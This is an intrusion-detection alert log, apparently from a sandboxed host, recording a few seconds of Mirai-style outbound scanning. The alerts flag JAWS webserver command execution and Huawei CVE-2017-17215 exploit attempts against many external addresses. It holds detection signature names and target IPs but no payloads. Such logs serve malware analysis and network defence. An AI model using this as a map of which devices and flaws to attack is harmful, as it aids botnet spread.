2025-01-05T14:35:15.315102+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	40042	166.131.190.80	80	TCP
2025-01-05T14:35:15.315123+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	47744	17.149.159.4	80	TCP
2025-01-05T14:35:15.315123+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	47744	17.149.159.4	80	TCP
2025-01-05T14:35:15.315123+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	32792	41.108.229.87	37215	TCP
2025-01-05T14:35:15.417790+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	41514	161.107.166.33	80	TCP
2025-01-05T14:35:15.417790+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	41514	161.107.166.33	80	TCP
2025-01-05T14:35:15.417849+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	36922	166.179.233.91	80	TCP
2025-01-05T14:35:15.417849+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	36922	166.179.233.91	80	TCP
2025-01-05T14:35:15.419307+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	58112	48.250.215.171	80	TCP
2025-01-05T14:35:15.419307+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	58112	48.250.215.171	80	TCP
2025-01-05T14:35:15.420635+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	43788	41.252.167.172	37215	TCP
2025-01-05T14:35:15.433255+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	43054	188.234.143.250	80	TCP
2025-01-05T14:35:15.433255+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	43054	188.234.143.250	80	TCP
2025-01-05T14:35:15.433331+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	39636	72.145.72.193	80	TCP
2025-01-05T14:35:15.433331+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	39636	72.145.72.193	80	TCP
2025-01-05T14:35:15.434082+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	44712	156.29.43.93	37215	TCP
2025-01-05T14:35:15.435232+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	49834	95.145.163.29	80	TCP
2025-01-05T14:35:15.435232+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	49834	95.145.163.29	80	TCP
2025-01-05T14:35:15.436930+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	54868	197.196.5.50	37215	TCP
2025-01-05T14:35:15.437089+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	38472	5.252.142.147	80	TCP
2025-01-05T14:35:15.437089+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	38472	5.252.142.147	80	TCP
2025-01-05T14:35:15.437146+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	41164	1.166.123.153	80	TCP
2025-01-05T14:35:15.437146+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	41164	1.166.123.153	80	TCP
2025-01-05T14:35:15.437192+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	37260	143.189.106.192	80	TCP
2025-01-05T14:35:15.437192+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	37260	143.189.106.192	80	TCP
2025-01-05T14:35:15.437360+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	47546	220.83.51.33	80	TCP
2025-01-05T14:35:15.437360+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	47546	220.83.51.33	80	TCP
2025-01-05T14:35:15.438084+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	34570	113.255.83.238	80	TCP
2025-01-05T14:35:15.438084+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	34570	113.255.83.238	80	TCP
2025-01-05T14:35:15.452044+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	59016	156.195.220.109	37215	TCP
2025-01-05T14:35:16.449842+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	39838	95.67.170.147	80	TCP
2025-01-05T14:35:16.449842+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	39838	95.67.170.147	80	TCP
2025-01-05T14:35:16.480234+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	44432	92.178.11.42	80	TCP
2025-01-05T14:35:16.480234+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	44432	92.178.11.42	80	TCP
2025-01-05T14:35:16.485725+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	36312	203.249.13.96	80	TCP
2025-01-05T14:35:16.485725+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	36312	203.249.13.96	80	TCP
2025-01-05T14:35:17.152192+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	50166	92.185.151.122	80	TCP
2025-01-05T14:35:17.152192+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	50166	92.185.151.122	80	TCP
2025-01-05T14:35:17.152234+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	40180	41.8.30.91	37215	TCP
2025-01-05T14:35:17.152252+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	36182	131.92.77.249	80	TCP
2025-01-05T14:35:17.152252+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	36182	131.92.77.249	80	TCP
2025-01-05T14:35:17.169667+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	43716	41.19.166.133	37215	TCP
2025-01-05T14:35:17.170925+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	58694	156.88.155.128	37215	TCP
2025-01-05T14:35:17.170926+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	35698	197.96.31.0	37215	TCP
2025-01-05T14:35:17.183311+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	48512	125.109.219.8	80	TCP
2025-01-05T14:35:17.183311+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	48512	125.109.219.8	80	TCP
2025-01-05T14:35:17.183470+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	42836	197.113.138.108	37215	TCP
2025-01-05T14:35:17.183716+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	46638	188.148.5.67	80	TCP
2025-01-05T14:35:17.183716+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	46638	188.148.5.67	80	TCP
2025-01-05T14:35:17.183799+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	42380	104.36.217.230	80	TCP
2025-01-05T14:35:17.183799+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	42380	104.36.217.230	80	TCP
2025-01-05T14:35:17.184008+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	54802	99.164.207.221	80	TCP
2025-01-05T14:35:17.184008+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	54802	99.164.207.221	80	TCP
2025-01-05T14:35:17.184009+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	34728	41.82.207.46	37215	TCP
2025-01-05T14:35:17.184073+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	41496	19.126.39.244	80	TCP
2025-01-05T14:35:17.184073+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	41496	19.126.39.244	80	TCP
2025-01-05T14:35:17.184612+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	56372	85.66.186.124	80	TCP
2025-01-05T14:35:17.184612+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	56372	85.66.186.124	80	TCP
2025-01-05T14:35:17.184922+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	48754	41.254.75.15	37215	TCP
2025-01-05T14:35:17.185104+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	48844	78.20.11.62	80	TCP
2025-01-05T14:35:17.185104+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	48844	78.20.11.62	80	TCP
2025-01-05T14:35:17.186223+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	54474	38.94.34.240	80	TCP
2025-01-05T14:35:17.186223+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	54474	38.94.34.240	80	TCP
2025-01-05T14:35:17.186336+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	46554	63.43.10.28	80	TCP
2025-01-05T14:35:17.186336+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	46554	63.43.10.28	80	TCP
2025-01-05T14:35:17.186467+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	49258	156.126.78.211	37215	TCP
2025-01-05T14:35:17.187070+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	51862	197.203.83.162	37215	TCP
2025-01-05T14:35:17.187321+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	37248	158.69.164.161	80	TCP
2025-01-05T14:35:17.187321+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	37248	158.69.164.161	80	TCP
2025-01-05T14:35:17.188383+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	43950	197.60.138.82	37215	TCP
2025-01-05T14:35:17.189075+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	57958	41.172.224.67	37215	TCP
2025-01-05T14:35:17.198866+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	43414	156.29.56.92	37215	TCP
2025-01-05T14:35:17.198933+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	42704	57.119.84.72	80	TCP
2025-01-05T14:35:17.198933+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	42704	57.119.84.72	80	TCP
2025-01-05T14:35:17.198975+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	59486	138.242.91.81	80	TCP
2025-01-05T14:35:17.198975+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	59486	138.242.91.81	80	TCP
2025-01-05T14:35:17.199061+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	49448	178.237.118.100	80	TCP
2025-01-05T14:35:17.199061+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	49448	178.237.118.100	80	TCP
2025-01-05T14:35:17.199336+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	43882	143.206.192.80	80	TCP
2025-01-05T14:35:17.199336+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	43882	143.206.192.80	80	TCP
2025-01-05T14:35:17.200671+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	44840	156.255.139.215	37215	TCP
2025-01-05T14:35:17.200729+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	36132	156.141.115.233	37215	TCP
2025-01-05T14:35:17.200820+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	39778	83.126.174.186	80	TCP
2025-01-05T14:35:17.200820+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	39778	83.126.174.186	80	TCP
2025-01-05T14:35:17.201064+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	59460	41.232.203.93	37215	TCP
2025-01-05T14:35:17.201138+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	52840	192.5.111.66	80	TCP
2025-01-05T14:35:17.201138+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	52840	192.5.111.66	80	TCP
2025-01-05T14:35:17.201228+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	49444	110.68.47.188	80	TCP
2025-01-05T14:35:17.201228+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	49444	110.68.47.188	80	TCP
2025-01-05T14:35:17.201245+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	33470	65.210.246.241	80	TCP
2025-01-05T14:35:17.201245+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	33470	65.210.246.241	80	TCP
2025-01-05T14:35:17.202122+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	57244	197.100.220.57	37215	TCP
2025-01-05T14:35:17.202784+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	49196	197.247.78.82	37215	TCP
2025-01-05T14:35:17.202980+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	38642	41.171.143.145	37215	TCP
2025-01-05T14:35:17.203133+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	53588	197.158.150.50	37215	TCP
2025-01-05T14:35:17.204297+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	46928	43.81.231.176	80	TCP
2025-01-05T14:35:17.204297+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	46928	43.81.231.176	80	TCP
2025-01-05T14:35:17.204889+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	60040	113.43.149.121	80	TCP
2025-01-05T14:35:17.204889+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	60040	113.43.149.121	80	TCP
2025-01-05T14:35:17.214608+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	38844	156.233.61.170	37215	TCP
2025-01-05T14:35:17.216430+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	34378	41.254.38.116	37215	TCP
2025-01-05T14:35:17.218231+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	54926	36.247.60.108	80	TCP
2025-01-05T14:35:17.218231+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	54926	36.247.60.108	80	TCP
2025-01-05T14:35:17.218346+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	58776	51.175.132.128	80	TCP
2025-01-05T14:35:17.218346+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	58776	51.175.132.128	80	TCP
2025-01-05T14:35:17.218395+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	34848	41.7.178.161	37215	TCP
2025-01-05T14:35:17.218437+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	38300	180.183.87.174	80	TCP
2025-01-05T14:35:17.218437+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	38300	180.183.87.174	80	TCP
2025-01-05T14:35:17.218555+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	40610	209.164.155.93	80	TCP
2025-01-05T14:35:17.218555+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	40610	209.164.155.93	80	TCP
2025-01-05T14:35:17.220171+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	52292	41.16.186.169	37215	TCP
2025-01-05T14:35:17.234052+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	45310	197.26.207.114	80	TCP
2025-01-05T14:35:17.234052+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	45310	197.26.207.114	80	TCP
2025-01-05T14:35:17.261510+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	34814	156.27.80.89	37215	TCP
2025-01-05T14:35:17.262014+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	42106	41.156.164.19	37215	TCP
2025-01-05T14:35:17.265319+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	44544	156.58.186.145	37215	TCP
2025-01-05T14:35:17.294923+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	41384	41.145.125.29	37215	TCP
2025-01-05T14:35:17.311213+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	37602	41.108.41.195	37215	TCP
2025-01-05T14:35:17.312505+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	39168	69.206.208.139	80	TCP
2025-01-05T14:35:17.312505+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	39168	69.206.208.139	80	TCP
2025-01-05T14:35:17.313409+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	55202	41.6.193.156	37215	TCP
2025-01-05T14:35:17.327762+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	43322	156.40.240.210	37215	TCP
2025-01-05T14:35:17.355257+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	52292	41.77.204.216	37215	TCP
2025-01-05T14:35:17.355282+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	44664	202.226.133.66	80	TCP
2025-01-05T14:35:17.355282+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	44664	202.226.133.66	80	TCP
2025-01-05T14:35:17.356854+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	42272	197.235.231.188	37215	TCP
2025-01-05T14:35:17.372613+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	41862	197.47.93.30	37215	TCP
2025-01-05T14:35:17.386379+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	38130	41.1.36.164	37215	TCP
2025-01-05T14:35:17.437191+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	46954	120.114.84.38	80	TCP
2025-01-05T14:35:17.437191+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	46954	120.114.84.38	80	TCP
2025-01-05T14:35:17.453846+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	54196	71.104.122.79	80	TCP
2025-01-05T14:35:17.453846+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	54196	71.104.122.79	80	TCP
2025-01-05T14:35:18.391627+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	42680	156.83.20.178	37215	TCP
2025-01-05T14:35:18.404212+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	49276	197.79.21.61	37215	TCP
2025-01-05T14:35:18.433482+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	53268	41.225.42.247	37215	TCP
2025-01-05T14:35:18.437081+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	57628	156.213.81.209	37215	TCP
2025-01-05T14:35:18.437171+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	34132	197.175.220.124	37215	TCP
2025-01-05T14:35:18.437296+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	45300	41.242.75.188	37215	TCP
2025-01-05T14:35:18.480241+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	47498	197.113.242.34	37215	TCP
2025-01-05T14:35:18.499025+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	59282	41.198.247.116	37215	TCP
2025-01-05T14:35:19.175600+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	41770	156.251.135.219	37215	TCP
2025-01-05T14:35:19.433483+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	35768	203.215.253.118	80	TCP
2025-01-05T14:35:19.433483+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	35768	203.215.253.118	80	TCP
2025-01-05T14:35:19.433483+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	35842	156.174.170.104	37215	TCP
2025-01-05T14:35:19.437171+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	46554	130.175.77.211	80	TCP
2025-01-05T14:35:19.437171+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	46554	130.175.77.211	80	TCP
2025-01-05T14:35:19.438883+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	37328	197.97.57.117	37215	TCP
2025-01-05T14:35:19.448141+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	51962	59.179.62.232	80	TCP
2025-01-05T14:35:19.448141+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	51962	59.179.62.232	80	TCP
2025-01-05T14:35:19.483427+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	48336	156.225.151.83	37215	TCP
2025-01-05T14:35:19.499790+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	58930	36.182.43.185	80	TCP
2025-01-05T14:35:19.499790+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	58930	36.182.43.185	80	TCP
2025-01-05T14:35:19.511581+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	40224	139.140.9.190	80	TCP
2025-01-05T14:35:19.511581+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	40224	139.140.9.190	80	TCP
2025-01-05T14:35:19.513546+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	37598	126.164.100.191	80	TCP
2025-01-05T14:35:19.513546+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	37598	126.164.100.191	80	TCP
2025-01-05T14:35:19.514438+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	33922	151.142.20.255	80	TCP
2025-01-05T14:35:19.514438+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	33922	151.142.20.255	80	TCP
2025-01-05T14:35:19.558323+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	40168	204.141.229.132	80	TCP
2025-01-05T14:35:19.558323+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	40168	204.141.229.132	80	TCP
2025-01-05T14:35:19.562124+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	54770	181.50.53.2	80	TCP
2025-01-05T14:35:19.562124+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	54770	181.50.53.2	80	TCP
2025-01-05T14:35:19.562158+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	35974	219.70.242.147	80	TCP
2025-01-05T14:35:19.562158+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	35974	219.70.242.147	80	TCP
2025-01-05T14:35:19.563923+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	43380	120.217.143.184	80	TCP
2025-01-05T14:35:19.563923+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	43380	120.217.143.184	80	TCP
2025-01-05T14:35:19.573864+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	41458	163.142.15.188	80	TCP
2025-01-05T14:35:19.573864+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	41458	163.142.15.188	80	TCP
2025-01-05T14:35:19.589718+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	38388	198.249.217.20	80	TCP
2025-01-05T14:35:19.589718+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	38388	198.249.217.20	80	TCP
2025-01-05T14:35:19.607298+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	60350	187.77.75.60	80	TCP
2025-01-05T14:35:19.607298+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	60350	187.77.75.60	80	TCP
2025-01-05T14:35:19.621112+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	57326	112.186.58.119	80	TCP
2025-01-05T14:35:19.621112+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	57326	112.186.58.119	80	TCP
2025-01-05T14:35:20.453781+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	60436	123.54.183.241	80	TCP
2025-01-05T14:35:20.453781+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	60436	123.54.183.241	80	TCP
2025-01-05T14:35:20.652065+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	57154	159.234.213.235	80	TCP
2025-01-05T14:35:20.652065+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	57154	159.234.213.235	80	TCP
2025-01-05T14:35:20.652290+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	42598	70.145.8.67	80	TCP
2025-01-05T14:35:20.652290+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	42598	70.145.8.67	80	TCP
2025-01-05T14:35:20.667870+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	40502	98.203.60.63	80	TCP
2025-01-05T14:35:20.667870+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	40502	98.203.60.63	80	TCP
